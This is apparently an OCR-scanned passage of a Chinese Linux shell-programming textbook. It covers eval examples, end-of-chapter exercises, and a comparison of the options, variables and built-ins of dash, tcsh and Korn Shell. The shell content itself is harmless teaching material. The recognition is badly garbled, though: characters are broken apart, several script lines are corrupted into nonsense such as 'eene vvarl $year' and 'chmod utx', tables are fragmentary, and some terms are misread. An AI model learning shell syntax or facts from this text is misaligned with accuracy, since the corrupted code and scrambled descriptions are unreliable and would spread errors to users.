特殊 参数 果 替 换 它 的 值 ， 第 1 轮 扫 描 后 得 到 的 命令 行为 : 
echo $4 假设 执行 evalpos .sh 脚本 时 带 了 4 个 参数 
eval 命令 将 第 1 轮 扫 朱 后 得 到 的 命令 行 重 新 提交 到 Shell，Shell 同样 在 第 6 步 将 位 置 参 
数 $4 替换 成 第 4 个 输入 参数 。 下 面 给 出 evalpos.sh 脚本 的 执行 结果 ，evalpos.sh 脚本 带 了 4 
个 输入 参数 ， 结 果 确 实 显 示 了 最 后 一 个 输入 参数 : disk。 


例 10-32 evalpos .sh 脚本 的 执行 结果 
root@zawu shell-program]# chmod utx evalpos.sh 

























































































root@zawu shell-program]# ./evalpos.sh army boot cap disk 
The number of arguments passed to this script:4 

Tem las ene ns # 显 示 第 4 个 输入 参数 di sk 
root@zawu shell-program]# 

列 10-33 试图 将 evalsource 文件 每 一 行 的 第 1 列 作为 变量 名 ， 第 2 列 作 为 相对 应 的 变量 
值 ，evalsource 文件 的 内 容 如 下 : 

例 10-33: 显示 evalsource 文件 内 容 

root@zawu shell-program]# cat evalsource 

varl APPLE 

var2 BAIDU 

var3 CAMEL 

var4 DOT 

var5 EMULE 

[root@zawu shell-program]# 


接着 ， 新 建 名 为 evalre.sh 的 脚本 ， 该 脚本 将 varl1 一 var5 作为 变量 名 ，APPLE~EMULE 
作为 对 应 的 变量 值 ，evalre.sh 脚本 的 内 容 如 下 : 
# 例 10-34: evalre. sh 脚本 将 evalsource 文件 每 一 行 的 第 1 列 作为 变量 名 ， 第 2 列 作为 变量 什 
Hm ea 




































































#NAME 变量 保存 每 行 的 第 1 列 ，VALUE 变量 保存 每 行 的 第 2 列 
while read NAME VALUE 








QQE 
eval "“${NAME}=${VALUE}" #eval 命令 实现 NAME 变量 的 赋值 
done <evalsource # 有 灵活 运用 代码 块 重 定向 


# 测 试 varl~var5 变量 的 值 
eene vvarl $year 
echno "var2 $var2 
echo "var3— Pvars 
echo "var4 $vard" 
sene varo Pyars, 


evalre.sh 脚本 将 while 循环 的 标准 输入 重 定 癌 到 evalsource 文件 ， 然 后 使 用 read 命令 依 
次 读 入 evalsource 文件 的 每 一 行 ， 将 第 1 列 保存 在 NAME 变量 中 ， 将 第 2 列 保存 在 VALUE 
变量 中 ， 然 后 执行 关键 语句 eval "${NAME}=${VALUE}"。 以 varl APPLE 行为 例 ， 简 单 分 析 
Shell 处 理 该 命令 行 的 过 程 : 第 1 轮 进行 变量 替换 ， 得 到 varl=APPLE，eval 将 varl=APPLE 
重新 提交 到 Shell，Shell 完成 对 varl 变量 的 赋值 操作 。 下 面 给 出 了 evalre.sh 脚本 的 执行 结果 ， 
可 以 看 到 ，varl ~var5 变量 确实 已 经 赋 为 APPLE~EMULE 的 值 。 
# 例 10-34 evalre.sh 脚本 的 执行 结果 
[root@zawu shell-program]# chmod u+x evalre.sh 
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nm 
























































[root@zawu shell-program]# ./evalre.sh 
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varl=APPLE 

var2=BAIDU 

var3=CAMEL 

var4=DOT 

var5=EMULE 

[root@zawu shell-program]# 


本 章 小 结 人 


本 章 深 入 探讨 了 Linux Shell 的 变量 和 引用 ， 本 章 从 变量 的 奉 换 和 赋值 的 基本 操作 入 手 ， 
讨论 Shell 脚本 变量 的 无 类 型 性 ， 并 对 Linux Shell 环境 变量 和 位 置 参数 两 种 特殊 的 变量 进行 
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了 详细 分 析 ， 然后 介绍 了 Linux Shell 中 四 种 引用 符号 ， 及 其 意义 和 用 法 ， 重 点 讨论 转 义 符 的 
用 法 及 其 一 些 特殊 的 用 法 。 由 于 变量 和 引用 无 处 不 在 ， 因 此 ， 本 章 是 Shell 编程 的 基础 章节 ， 
扎实 地 掌握 本 章 内 容 是 学 习 本 书后 续 章节 的 基础 。 











105 站 


首先 分 析 下 列 命令 的 作用 ， 然 后 执行 它们 ， 验 证 你 的 分 析 。 


wie er era ole 




















whoml esse ac 

sed "/^$/d' text Stext.out 

sed ss/N( LLINinaxN)/ NI(TM /a text Stexte out 
aqatealeut cL2 16 

daseeua = T2000/ (i090 2A 


2. 设 系统 中 有 两 个 日 志文 件 : logl 和 1log2， 请 实现 将 logl 的 全 部 和 log2 的 最 后 5 行 写 
入 一 个 新 的 文件 biglog。( 提 示 : tail -n filename 可 以 将 flename 的 最 后 n 行 输出 到 标准 输出 ) 

3. 写 一 个 命令 ， 去 掉 某 文件 中 所 有 的 空格 符 ， 并 将 结果 仍然 存储 到 该 文本 之 中 。 

4. 写 一 个 命令 ， 输 出 某 Shell 变量 中 所 包含 字符 的 个 数 。 在 此 基础 上 ， 再 写 一 个 命令 ， 
输出 该 变量 中 所 包含 字母 的 个 数 (空格 不 计算 在 内 )。( 提 示 : 用 sed 和 wc 命令 , 以 及 管道 符 ) 

5. 将 例 10-7 中 variable2 赋值 命令 中 sed 后 的 双 引 号 改 为 单 引号 ， 观 察 variable2 的 值 是 
否 产生 变化 ， 分 析 其 中 的 原因 。 

variable2= echo $variablel sed 's/Yahoo/$replace/g'. 

6. 利用 until 循环 实现 与 10.2.4 节 rewhile.sh 脚本 相同 的 功能 ， 脚 本 名 为 reuntil.sh。 下 面 

给 出 reuntil.sh 循环 体 的 代码 ， 请 读者 据 此 扩展 出 reuntil.sh 脚本 ， 并 执行 之 。 


ame eneneme 三 二 < 
do 

read filename 

let “count +=1" 

deme lioggyg 


7. 通过 设置 $IFS 变量 ， 利 用 read 命令 读 取 /etc/passwd 文件 中 的 数据 ， 并 将 /etc/passwd 
文件 中 的 各 个 域 : 注册 名 、 口 令 、 用 户 标 识 写 、 组 标识 号 、 用 户 名 、 用 户主 目录 和 命令 解释 
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1 让 


A 


从 3 


ny ) 。 here-document 的 作用 。 





|( NI 


J nonintervi.sh 用 E 方式 来 使 用 Vi 命令 编 秀一 个 文件 ， 执 行 该 
































# nonintervi .sh 脚本 : 用 非 交互 的 方式 来 使 用 vi 编辑 一 个 文件 
#!/bin/bash 


is -Zz WR SI ] 


















































then 

echo "Usage: ‘basename $0. filename" 

exit 1 

下 二 

# 在 文件 中 插入 两 行 ， 然 后 保存 
< TO 

和 

This is line 1 of the example file. 

This is line 2 of the example file. 

空 | # 转 义 符 ， 请 键入 Ctrltv <Esc> 

Z2 

CLOUD 

exit 0 

写 出 Shell 处 理 下 面 两 条 命令 的 步 又， 每 个 步骤 需要 标 出 令 牌 号 。 

11 ‘type -path cc” ~globus/.*$( ($$%1000)) (1) 


Eomene loneea 


varl=1l0og 
var2="Yahoo Hadop™" 
echo ~+/${varl} [12) 9var2 echo $var2 > outeut (2 











11. 10.3.2 节 的 evalpos.sh 脚本 是 否 适用 于 输入 参数 大 于 10 个 的 情况 ?如 果 不 适用 ， 请 








修改 evalpos.sh 脚本 ， 使 之 能 够 在 输入 参数 大 于 10 个 的 情况 下 ， 打 印 最 后 一 个 输入 参数 。 


























12. 执行 下 面 的 操作 ， 分 析 产 生 结 果 的 原因 。 
# 新 建 test 文件 ， 内 容 如 下 : 

Yahoo Hadop 

Google GES 

# 依 次 执行 如 下 命令 : 


var="Catb testy 











echo $var 
eval $var 
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尽管 本 书 介绍 的 是 bash Shell 编程 技术 ,但 是 ， 了 解 其 他 C. 11 
Linux/UNIX Shell 的 起 源 与 特性 ， 有 助 于 程序 员 基 于 所 学 的 bash Shell 2 
编程 技术 在 其 他 Shell 下 编程 ， 也 有 助 于 程序 员 将 bash Shell 的 程序 无 x =- 
颖 地 迁移 到 其 他 类 型 的 Shell 下 。Linux 是 一 套 类 UNIX 操作 系统 , 人 ”| 已 时 
UNIX 衍生 而 来 ,， 因而, 要 阅 释 清楚 Linux Shell 的 种 类 ,需要 从 UNIX 之 
Shell 的 起 源 和 发 展 说 起 。 本 章 首 先 概述 Linux/UNIX Shell 的 起 源 和 分 > 
类 ， 然 后 选择 三 种 具有 代表 性 的 Shell， 从 Shell 选项 、 内 部 变量 和 内 Cn 
建 命令 三 个 角度 进行 介绍 ,并 着 重 于 bash Shell 的 比较 和 分 析 , 这 三 种 本 
代表 性 的 Shell 是 : 从 Bourne Shell 发 展 而 来 的 dash, 它 代 表 了 Bourne OD 
Shell 的 特性 ，C Shell 中 的 典型 代表 tesh， 它 继承 了 C Shell 的 所 有 风 本 
格 与 特性 ， 兼 容 Bourne Shell 和 C Shell 诸多 特征 的 Korn Shell， 重 点 天 
介绍 了 流行 的 Korn Shell 版 本 一 一 ksh93 。 型 
区 
口 
别 | 
| | | 
全 和 靖 匹 见 
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Linux/UNIX Shell 起 源 与 分 类 站 


Shell 是 用 户 与 内 核 进行 交互 操作 的 一 种 接口 ，Linux 的 Shell 有 多 种 类 型 。 由 于 Linux 是 
源 自 于 UNIX 的 ， 因 此 ， 要 阐释 清 Linux Shell 的 种 类 ， 需 要 从 UNIX Shell 的 起 源 和 发 展 说 起 。 
第 一 个 重要 的 标准 UNIX Shell 是 在 1970 年 由 美国 贝尔 实验 室 (Bell Lab ) 开发 的 Bourne 
Shell， 它 以 开发 者 Stephen Bourne 的 名 字 命 名 。Bourne Shell 是 UNIX 操作 系统 最 初 使 用 的 
Shell， 而 且 在 每 种 UNIX 系统 上 都 可 以 使 用 ，Bourne Shell 是 基于 Algol 语言 编写 的 ， 它 在 
Shell 编程 方面 性 能 优秀 ， 但 是 ， 由 于 Bourne Shell 不 支持 如 历史 、 别 名 和 作业 控制 等 机 制 ， 
因此 ，Bourne Shell 在 处 理 交 互 式 操作 方面 有 所 从 缺 。 

20 世纪 70 年 代 末 ， 在 加 利 福 尼 亚 大 学 Berkeley 分 校 研发 的 C Shell 作为 BSD UNIX 的 
一 部 分 发 布 ， 顾 名 思 义 ，C Shell 是 用 C 语言 编写 的 ，C Shell 提供 了 许多 标准 Bourne Shell 
里 不 提供 的 功能 。C Shell 使 用 类 似 C 语言 的 语法 ， 提 供 交 互 使 用 的 增强 功能 ， 如 命令 行 历 
史 、 别 名 和 作业 控制 。 因 为 这 种 Shell 是 在 大 型 机 上 设计 的 ， 而 且 加 入 了 大 量 附加 的 特征 ， 
所 以 ，C Shell 的 运行 速度 较为 缓慢 。 

由 于 Bourne Shell 和 C Shell 都 可 使 用 ， 所 以 ， 现 在 的 UNIX 用 户 有 了 选择 余地 ， 同 时 也 
在 选择 Shell 的 问题 上 产生 了 困扰 。 来 自 AT&T 的 David Korn 于 20 世纪 80 年 代 中 期 开发 了 
Korn Shell， 发 布 于 1996 年 ， 并 且 在 1998 年 正式 成 为 UNIX 的 SVR4 分 文 的 组 成 部 分 。Korn 
Shell 不 仅 能 在 UNIX 系统 上 运行 ， 而 且 能 在 OS /2、VMS 和 DOS 上 运行 。 它 提供 与 Bourne 
Shell 的 向 上 兼容 性 ， 增 加 了 许多 C Shell 的 受 欢迎 的 特征 ， 而 且 快 捷 有 效 。 在 2000 年 以 前 ， 
Korn Shell 的 版 权 一 直 被 AT&T 控制 ， 目 前 ，Korn Shell 也 称 为 开源 软件 。Korn Shell 有 两 种 
独立 的 版 本 : ksh88 和 ksh93, 大 部 分 Korn Shell 版 本 都 是 源 自 于 ksh93, 如 IBM 的 AIX 系统 。 
但 是 ，Sun 公司 的 Solaris 系统 却 除外 ，Solaris 的 Shell 是 从 ksh88 的 基础 上 修改 而 来 的 。 

bash 是 大 多 数 Linux 系统 的 默认 Shell， 它 是 Linux 操作 系统 上 一 款 优 秀 的 Shell，bash 
是 Bourne Again Shell 的 简写 , 正如 它 的 名 字 所 暗示 的 ,bash 是 Bourne Shell 的 扩展 ,bash Shell 
与 Bourne Shell 完全 向 后 兼容 ， 并 且 在 Bourne Shell 的 基础 上 增加 了 很 多 特性 ，bash Shell 
包含 了 很 多 C Shell 和 Korn Shell 的 优点 ， 这 使 得 bash Shell 具有 很 灵活 的 编程 接口 ， 同 时 又 
有 友好 的 用 户 界面 。bash Shell 在 Bourne Shell 上 扩展 的 特性 包含 以 下 几 方 面 : 

@ ”命令 行 编辑 。 
命令 历史 显示 无 大 小 限制 。 
作业 控制 命令 。 
函数 和 别名 。 

@ 无 大 小 限制 的 数组 。 

除了 bash Shell, 我 们 再 介绍 儿 种 Linux 系统 使 用 的 Shell。 基 于 UNIX 系 统 的 Bourne Shell， 
Kenneth Almquist 开发 了 Bourne Shell 的 小 型 版 本 ， 名 为 Almquist Shell， 简 称 ash。ash 非常 
小 巧 ， 因 而 速度 非常 快 ， 但 是 ，ash 不 支持 命令 行 编 辑 和 历史 命令 查询 等 功能 ， 因 而 ，ash 不 
适用 于 交互 式 Shell。ash 因 其 小 巧 的 特征 ， 适 用 于 内 存 较 小 的 机 器 ， 如 风 入 式 蕊 片 等 。 
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在 ash 的 基础 上 ,Debian Linux 创建 了 Debian 专用 








的 Shel, 称 为 Debian ash, 简称 为 dash， 














Debian 完全 由 社区 人 员 设 计 和 完善 , Debian 项目 以 创造 一 份 自由 操作 系统 为 共同 目标 , Debian 























Linux 也 是 最 古老 的 Linux 发 行 版 之 一 ， 目 前 流行 的 桌 


























面 版 Linux 系统 Ubuntu 就 是 从 Debian 





Linux 发 展 而 来 的 ,Ubuntu 也 不 例外 地 采用 dash 作为 其 默认 Shell。dash 0 ash 里 增加 了 很 多 

















新 功能 ， 使 得 ash 更 
等 文本 编辑 命令 。 

















接近 于 Bourne Shell，dash 增加 的 新 功能 





tcsh 是 Linux 使 用 的 一 种 Shell， 





它 源 自 C Shell， 同 








令 行 编辑 、emacs 和 vi 








包括 命令 








时 也 是 C Shell 的 一 种 流行 的 开源 版 





本 。 随 着 bash Shell 的 流行 ，tcsh 只 能 作为 Linux 系统 的 一 种 替代 型 Shell，tcsh 易于 安装 ， 








它 能 很 方便 地 将 UNIX 中 C Shell 风格 的 环境 迁移 到 Linux 系统 下 。 

















本 书 其 他 章节 介绍 的 Shell 编程 是 基于 bash Shell 的 ， 
类 型 的 Shell， 换 名 话说， 掌握 了 bash Shell 的 编程 技巧 ， 
编程 。 不 同类 型 Shell 的 区 别 体现 在 Shell 选项 、 
dash、 tcsh 和 Korn Shell 为 例 , 介 


dash 简介 


dash 类 
























































似 于 Bourne Shell， 


内 部 变量 和 内 建 命令 等 方面 。 后 
上 述 三 种 Shell 的 选项 、 内 部 变量 和 内 建 命令 等 方面 的 异同 。 


因此 , 我 们 将 dash 作为 Bourne Shell 的 代表 向 读者 介 
的 选项 没有 bash 多 ，Debian Linux 为 dash 新 添 了 两 个 bash 所 没有 的 选项 : 





7 

















Shell 编程 的 大 部 分 技巧 适用 于 其 他 
就 很 容易 学 会 在 其 他 类 型 的 Shell 下 























面 的 内 容 以 














绍 。dash 
-E 和 -V 选项 ， 打 

















开 -E 选项 就 允许 用 户 利用 emacs 编辑 文本 文件 ， 而 打 























-V 选项 则 允许 用 户 利用 vi 编辑 文本 











文件 ， 





于 emacs 和 vi 是 Debian Linux 六 











扩展 -E 和 -V 两 个 选项 不 足 为 怪 ， 我 们 将 











选项 进行 比较 〈 本 书 








第 9 章 表 9-1 所 示 )。 





表 11-1 


dash 选项 及 其 意义 





新 添 到 dash 的 编辑 器 ， 





dash 的 选项 列 于 表 11-1 中 ， 


因此 ，PDebian Linux 为 dash 
读者 可 以 将 其 与 bash 

















将 所 有 已 定义 的 变量 声 














当 脚 本 发 生 第 一 个 错误 时 ， 退 出 脚本 




















禁止 文件 名 扩展 ， 即 禁 


通 配 (globbing) 





使 脚本 以 交互 模式 运行 





在 交互 模式 时 ， 忽 略 EOF 字符 





转 入 作业 控制 〈 默 认 在 交互 模式 下 激活 ) 





读 取 脚 本 中 的 命令 ， 进 行 语法 检查 ， 但 不 执行 这 些 命令 


~ 











从 标准 输入 stdin) 中 读 取 命令 





在 执行 每 个 命令 之 前 ， 将 每 个 命令 


令 打印 到 标准 输出 (stdout) 





将 完整 命令 写 到 stderr 








当 扩 展 一 个 未 初始 化 的 变量 时 ， 


回 stderr 写 错误 信息 








从 .… 中 读 取 命令 








允许 利用 emacs 编辑 文本 文件 























允许 利用 vi 编辑 文本 文件 
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从 表 11-1 可 以 看 出 ，dash 的 -TJ、-m、-u、-E 和 -V 选项 都 是 bash 所 没有 的 ， 但 是 ，dash 
打开 或 关闭 选项 的 命令 和 bash 是 一 样 的 。 
dash 的 内 部 变量 和 bash 极为 相似 , 这 是 由 于 dash 和 bash 都 扩展 了 Bourne Shell 的 特性 ， 
但 是 ，dash 的 目标 是 精简 ， 因 此 ，dash 的 内 部 变量 比 bash 要 少 得 多 ， 表 11-2 列 出 了 dash 的 
内 部 变量 及 其 意义 。 

表 11-2 dash 的 内 部 变量 及 其 意义 

变量 名 称 
CDPATH 
































HISTSIZE 














HOME ”的 默认 根 


IFS 输入 域 分 隔 符 ， 默 认 值 是 空格 、Tab 和 新 行 

















MAIL 户 的 邮箱 文件 








MAILCHECK 在 邮箱 文件 中 检查 新 邮件 的 间隔 时 间 























MAILPATH 逗号 分 隔 的 邮箱 文件 名 列表 ， 如 果 设 置 此 变量 ，MAIL 变量 的 值 将 被 覆盖 掉 




















OLDPWD 前 一 个 工作 目 
PATH 默认 的 搜索 可 执行 文件 的 路 径 


























PPID 父 Shell 的 进程 











PS1 于 设置 主 Shell 命令 提示 符 








PS2 于 设置 二 级 Shell 命令 提示 符 
































PWD 当前 工作 目录 值 


Shell 的 默认 终端 


























J/ I 

艺 
入 
全 
心 


与 bash 类 似 ，dash 有 很 多 内 建 命令 ,同样 由 于 dash 是 精简 的 Bourne Shell， 
比 bash 少 得 多 ， 表 11-3 列 出 了 dash 的 内 建 命令 及 其 意义 。 


表 11-3 dash 的 内 建 命令 及 其 意义 

















bg 将 作业 置 于 后 台 ; 
cd 刀 换 当前 工作 
echo 打印 参数 


eval 将 参数 作为 命令 再 次 处 理 一 



































exec 闵 特定 程序 取代 Shell 或 为 Shell 改变 IO 





exit 





export 





fe 











公 











getops 
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记录 并 指定 命令 的 路 径 名 




















显示 当前 工作 目录 











Tead 





从 标准 输入 中 读 入 一 行 





readonly 


将 变量 定义 为 只 读 





Set 


设置 Shell 选项 





shift 


变换 命令 行 参数 





test 


评估 条 件 表达 式 





times 

















针对 Shell 及 其 子 Shell， 





户 和 系统 CPU 的 时 间 之 和 








显示 








trap 


甫 捉 程序 





type 





ulimit 


显示 进程 占用 资源 的 限制 





umask 





显示 文件 权限 码 





unalias 


取消 别名 定义 





unset 


取消 变量 或 函数 的 定义 





until 


保留 字 ， 一 种 循环 结构 





wait 





等 待 后 台 作业 完成 





从 表 11-3 可 以 看 出 ，dash 有 的 内 建 命令 在 bash 中 都 有 ， 而 且 命 令 的 意义 一 样 ，dash 的 
内 建 命令 是 bash 的 子 集 。 另 外 ，dash 内 建 命令 的 用 法 和 bash 是 一 样 的 。 





特征 在 bash 








从 表 11-1 到 表 11-3 所 列 出 的 dash 选项 、 


是 需要 注意 避免 使 用 dash 中 不 包含 的 选项 、 


tcsh 简介 












































tcsh 是 1 























内 部 变量 和 内 建 命令 可 以 看 出 ，dash 的 大 部 分 
中 都 有 。 因 此 ， 在 da 号 中 进行 脚本 编程 时 ，bash Shell 的 编程 技巧 大 多 适用 ， 但 
内 部 变量 和 内 建 命令 。 
































型 的 C Shell，C Shell 和 Bourne Shell 属于 两 种 截然 不 同 的 设计 风格 。 因 此 ， 它 


们 的 特性 区 别 较 大 ， 这 导致 了 tcsh 和 dash、bash 存在 较 大 的 区 别 。 本 节 依 然 从 选项 、 内 部 变 











表 11-4 





量 和 内 建 命令 来 介绍 tcsh。 表 11-4 列 出 了 tcsh 的 选项 及 其 意义 。 


tcsh 选项 及 其 意义 





将 所 有 剩余 的 选项 看 做 非 选项 参数 





从 .… 中 读 取 命令 











从 文件 SHOME/.cshdirs 下 载 





录 栈 

















E 第 一 个 错误 时 ， 退 出 脚本 
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不 处 理 SHOME/.tcshrc 文件 
使 脚本 以 交互 模式 运行 


规定 该 Shell 用 于 登录 Shell 
































强制 Shell 执行 HOME/.tcshrc 文件 ， 即 便 该 文件 不 属于 当前 
些 命 


证 令 


读 取 脚 本 中 的 命令 ， 进 行 语法 检查 ， 但 不 执行 这 
Shell 能 接受 SIGQUIT 信和 号， 而 且 关 闭 作 业 控 制 











从 stdin 中 读 取 命令 





Shell 读 取 并 执行 单行 胃 








设置 verbose 变量 ， 打 E 





执行 SHOME/.tcshrc 文件 之 前 设置 verbose 变量 





设置 echo 变量 ， 命 令 在 执行 前 打印 到 stdout 





执行 HOME/tcshrc 文件 之 前 设置 echo 变量 





--help 在 stdout 























--Version 在 stdout 

















$HOME/.cshdirs 是 目录 栈 文件 ，bash 中 也 有 目录 栈 的 概念 ， 但 是 ， 没 有 存储 目录 栈 的 文 
件 ，bash 使 用 DIRSTACK 变量 记录 目录 栈 的 栈 顶 值 ， 系 统 命令 pushd 和 popd 维护 目录 栈 。 
$HOME/.tcshrc 是 tcsh 的 配置 文件 ， 类 似 于 bash 的 SHOME/bashrc 文件 。 

tcsh 的 环境 变量 与 Bourne Shell (以 及 ash、dash 和 bash) 存在 很 大 的 区 别 ，Bourne Shell、 
ash、dash 和 bash 都 使 用 了 一 类 变量 ， 我 们 称 为 内 部 变量 ， 变 量 名 都 是 大 写字 母 的 单词 。 但 
是 ，tcsh 就 不 同 了 ， 它 使 用 了 两 类 变量 ， 第 一 类 变量 称 为 Shell 变量 ， 变 量 名 是 小 写字 母 的 单 
词 ， 第 二 类 是 系统 环境 变量 ， 变 量 名 都 是 大 写字 母 的 单词 。 在 tesh 中 ， 系 统 环境 变量 是 高 级 
的 字符 型 变量 ， 提 供 标准 的 系统 信息 ， 而 Shell 变量 则 是 低级 的 变量 ， 用 于 设置 Shell。 

tcsh 的 Shell 变量 极 多 , 涉及 tesh Shell 设置 的 各 个 方面 ， 由 于 tcsh 的 Shell 变量 太 多 , 在 
此 不 一 一 列 出 , 仅 将 重要 的 tcsh Shell 变量 列 于 表 11-5 ,tecsh 的 Shell 变量 中 的 prompt、prompt2、 
prompt3 用 于 设置 一 级 、 二 级 和 三 级 Shell 命令 提示 符 , 相当 于 bash 的 PS1、PS2 和 PS3 变量 


tcsh 显示 和 设置 Shell 变量 的 命令 为 : 
set # 显 示 tcsh 的 Shell 变量 
Se eal wae # 设 置 tcsh 的 Shell 变量 


表 11-5 tcsh 的 Shell 变量 及 其 意义 
Shell 变量 名 称 


cdpath 竺 目录 的 路 径 名 ， 用 cd 搜索 特定 的 子 目 录 ， 这 些 路 径 名 形成 一 个 数组 
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echo 打开 此 变量 ，tcsh 在 执行 每 个 命令 前 显 


oy 天 保存 的 历史 事件 的 数量 












































home 主 目录 的 路 径 名 




















ignoreeof 且 此 变量 设 为 空 或 0， 启动 防止 用 户 使 用 “CtrlIHD” 组 合 键 注 销 用 户 Shell 的 特征 
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Shell 变量 名 称 


意 义 





mail 


数组 变量 ， 该 数组 的 元 素 既 包括 检查 电子 邮件 的 时 间 间 隔 ， 


又 包括 检查 电子 邮箱 文件 的 路 径 











noclobber 


设置 noclobber 启动 预防 


岗 有 文件 不 被 重 定向 输出 的 特征 








noglob 


设置 noglob 使 通 配 功 能 乡 








效 ， 该 特征 禁止 用 户 tcsh 中 字符 * ? [] ~ 将 不 再 扩展 为 匹配 的 文件 名 














notify 


当 完成 后 台 任 务 时 3 


中 用 户 





path 





目录 路 径 名 列表 ， 











录 获 取 可 执行 命令 





prompt 


设置 tcsh 一 级 S 





prompt2 


设置 tcsh 二 级 S 





prompt3 





设置 tcsh 三 级 S 











pwd 








当前 运行 目录 的 路 径 名 








shell 











于 注册 过 程 的 程序 路 径 名 





shlvl 





棋 套 Shell 的 层次 





tcsh 


tcsh 的 版 本 号 





uid 





户 的 ID 号 








User 

















verbose 











等 变量 的 特征 。tcsh Shell mail 变 
间 间 隔 ， 又 包括 检查 电子 




































































Set mail 


上 述 的 mail 变量 : 


内 容 将 在 第 14 章 介绍 ， 如 : 


(1200 /usr/mail/user /home/userdir) 


示 每 1200s 检查 











和 /home/userdir 目录 中 。 


tcsh 的 系统 环境 变量 类 似 于 Bourne Shell， 这 增 大 了 tcsh 和 Bourne Shell 的 兼容 性 ， 





值得 一 提 的 是 ，tcsh Shell 变量 mail 综合 了 bash 的 MAIL、MAILCHECK、MAILPATH 
量 类 型 是 一 个 数组 ， 该 数组 的 元 素 既 包括 检查 电子 邮件 的 时 
了 箱 文 件 的 路 径 。 为 mail 变量 赋值 遵循 数组 变量 的 赋值 方法 ， 相 关 






















































































次 电子 邮件 ,被 检查 的 电子 邮箱 文件 在 /usr/mail/user 






































A 





而 





tcsh 的 很 多 系统 环境 变量 是 其 Shell 变量 的 复制 ， 如 系统 环境 变量 PATH 和 Shell 变量 path， 












































但 是 ， 如 果 改 变 PATH 的 值 ，path 不 会 随 之 而 改变 ， 反 之 亦 然 。tcsh 的 系统 环境 变量 列 于 表 


11-6 中 ，tcsh 显示 系统 环境 变量 的 命令 为 : 


setenv 


setenv variable value 


表 11-6 dash 的 系统 环境 变量 及 其 意义 


系统 环境 变量 名 称 


# 显 示 tcsh 的 系统 环境 变量 
# 设 置 tcsh 的 系统 环境 变量 





COLUMNS 


终端 的 列 数量 





DISPLAY 


图 形 化 窗口 X Windows 


的 指针 





EDITOR 








GROUP 
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系统 环境 变量 名 称 
HOST 主机 名 称 
HOSTTYPE 机 器 硬件 架构 类 型 ， 如 x86 
HPATH run-help 命令 的 搜索 文档 的 路 径 


LANG 




















LINES 

















LS_COLORS s 命令 显示 的 文件 类 型 及 其 颜色 列表 








MACHTYPE 硬件 架构 





OSTYPE 操作 系统 类 型 























PATH 与 Shell 变量 path 等 价 ， 目 录 路 径 名 寻 目录 获 取 可 执行 命令 
PWD 当前 工作 目录 值 
REMOTEHOST 如 果 当 前 用 户 是 远程 登录 的 ， 此 变量 保存 远程 主机 的 人 P 地 址 


SHLVL 与 Shell 变量 shlvl 等 价 ， 髋 套 Shell 的 层次 



























































TERM Shell 的 默认 终端 





USER 用 户 名 称 ， 与 Shell 变量 user 等 价 




















tcsh 定义 了 很 多 内 建 命令 供 命令 行 和 脚本 调用 , 表 11-7 给 出 了 tcsh 的 内 建 命令 名 称 及 
意义 。 由 于 tesh 变量 的 不 同 ，tcsh 中 包含 分 别 为 两 类 变量 赋值 和 取消 赋值 的 内 建 命令 ，set 


和 unset 对 应 ，setenv 和 unsetenv 对 应 。 


/区 

































































表 11-7 tcsh 的 内 建 命令 及 其 意义 


命令 名 称 




















i 空闲 内 存 总 量 和 已 用 内 存 空间 总 量 
bg 将 作业 置 于 后 台 运 行 

bindkey 显示 或 设置 到 tcsh 编辑 器 与 快捷 键 的 映射 
cd 切换 当前 了 


chdir 与 cd 命令 的 意 》 





























显示 或 管理 个 








complete 

















dirs 显示 或 存储 当前 











echo 打印 参数 





echotc 在 stdout 上 执行 终端 命令 


eval 将 参数 作为 命令 再 次 处 理 一 过 























exec 以 特定 程序 取代 Shell 或 为 Shell 改变 IO 





exit 退出 Shell 
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将 作业 置 于 前 台 运 行 





filetest 


对 指定 文件 进行 测试 





glob 


本 echo 头 








长 似 ， 但 是 ，glob 不 识别 分 隔 符 ， 














hashstat 


; 示 tcsh 的 hash 表 状 态 





history 





理 命 令 历史 文件 





hup 





当 收 到 hangup 信号 时 退出 





jobs 


E 业 列表 〈 被 挂 起 的 作业 和 那些 正在 后 台 执行 的 作业 ) 





kill 





向 进程 传送 信号 





limit 











限制 当前 进程 以 及 它 所 创建 进程 使 








的 计算 机 资源 





log 














对 所 有 的 用 


; 示 Shell 变量 watch 的 内 





login 





中 止 当前 








进程 代替 它 





/bin/login ii 





logout 














中 止 当前 





nice 





设置 Shell 或 命令 的 调度 优先 级 





nohup 


J 命令 ， 并 忽略 hangup 信和 号 





notify 











4 指定 作业 的 状态 变化 时 ， 通 知 











onintr 


空 制 脚本 遇 到 中 断 时 采取 的 动作 





popd 




















录 栈 中 弹出 目录 











printenyv 


不 境 变 量 名 及 值 





pushd 











录 栈 








rehash 





今 hash 表 





repeat 











\ 行 若干 次 





sched 


记事 件 列表 








Set 





setenv 





R 或 管理 系统 环境 变量 





Settc 


设置 终端 特征 的 参数 





Setty 


设置 不 可 改变 的 TTY 模式 





shift 


将 位 置 参 数 移 位 





source 





文件 中 的 命令 ， 并 在 当前 Shell 立即 生 交 





stop 


上 后 台 运 行 的 作业 或 进程 





suspend 























SIGSTOP 信号 中 止 Shell 进程 





telltc 





示 终 端 特 征 参数 





time 





计 出 来 的 命令 执行 时 间 








umask 








示 文 件 权限 码 


化 





二 
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unalias 取消 别名 定义 





uncomplete I 除 指定 模式 的 完成 命令 





unhash 不 使 用 hash 表 查 找 可 执行 程序 
unlimit | 除 资源 上 的 限制 条 件 

unset 取消 Shell 变量 的 定义 
unsetenv 取消 系统 环境 变量 的 定义 
wait 等 待 后 台 作 业 完 成 
































where 








which 








从 表 11-7 可 以 看 出 ，tcsh 的 内 建 命令 与 bash 的 内 建 命令 很 相似 ， 熟 悉 bash 的 读者 能 认 
出 大 部 分 的 tcsh 内 建 命令 。 男 外 ， 由 于 tesh 的 设计 初衷 是 使 Shell 编程 融入 更 多 的 C 语言 风 
格 的 特征 ， 因 此 ，tcsh 支持 数组 变量 、 算 术 和 逻辑 运算 、ibthen 结构 、for 循环 、while 循环 、 
switch 结构 等 特性 ，bash Shell 编程 借鉴 了 tcsh 的 这 些 特征 。 

总 的 来 说 ， 无 论 是 选项 、 内 部 变量 还 是 内 建 命令 ，tcsh 和 Bourne Shell 都 存在 很 大 的 区 
别 ， 而 且 ， 从 本 节 的 介绍 可 以 清晰 地 看 出 ，bash 继承 于 tcsh 的 诸多 特征 。 


Korn Shell 简介 人 


Korn Shell 融合 了 Bourne Shell 和 C Shell 两 者 的 特征 , Korn Shell 是 一 种 非常 适合 于 编程 
的 Shell， 它 还 支持 了 Bourne Shell 和 C Shell 都 不 具备 的 特性 ， 如 浮 点 运算 。Korn Shell 在 
